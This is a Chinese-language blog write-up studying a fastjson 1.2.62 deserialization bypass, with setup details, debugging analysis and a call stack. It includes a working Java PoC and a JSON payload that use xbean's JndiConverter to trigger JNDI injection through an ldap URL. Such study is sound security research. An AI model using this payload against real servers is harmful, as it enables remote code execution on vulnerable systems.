fastjson 反序列化基础三(1.2.62-1.2.68)

前言:

主要是跟着师傅学习,看这个1.2.62 - 1.2.68版本是如何绕过黑名单的,以及有什么好玩的利用链。

1.2.62 绕过黑名单:

Exp编写:

前提条件:

  • 服务端上版本是<=1.2.63
  • 低版本jdk(主要是利用了jdni注入,高版本的jndi注入会受到限制,关于这部分可以看[Fastjson系列五——高版本JDK绕过及检测与防御 Mi1k7ea ]
  • 开启了AutoType
  • 目标服务器上需要xbean-reflect依赖。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<dependencies>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>

<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.18</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

</dependencies>

查看poc:

1
2
3
4
5
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://localhost:1389/Exploit\"}";
JSON.parse(poc);
}
1
2
3
4
{
"@type": "org.apache.xbean.propertyeditor.JndiConverter",
"AsText": "ldap://localhost:8085/bIZKZrFl"
}

漏洞原理以及调试:

导入了x-bean坐标后,查看JndiConvertertoObjectImpl方法:

这不妥妥的jndi注入嘛:

image-20240414145902977

但是这个方法又不是setter/getter方法啊,又是怎么调用到这个toObjectImpl方法的?

调用堆栈如图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
toObjectImpl:35, JndiConverter (org.apache.xbean.propertyeditor)
toObject:86, AbstractConverter (org.apache.xbean.propertyeditor)
setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:123, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1241, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:866, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1555, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JndiConverter (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1400, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1366, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:170, JSON (com.alibaba.fastjson)
parse:180, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
main:12, Fastjson1262Exp (com.hme)

很明显,调用了AbstractConvertersetAsText方法,这个类就是JndiConverter的父类。

所以是父类AbstractConverter#setAsText ==> JndiConverter#toObjectImpl

参考:

Java反序列化Fastjson篇04-Fastjson1.2.62-1.2.68版本反序列化漏洞 | Drunkbaby’s Blog (drun1baby.top)

[(安全客首发)Fastjson系列六——1.2.48-1.2.68反序列化漏洞 Mi1k7ea ]


fastjson 反序列化基础三(1.2.62-1.2.68)
https://pow1e.github.io/2024/04/29/漏洞中间件复现/fastjson/fastjson 1262-1268/
作者
pow1e
发布于
2024年4月29日
许可协议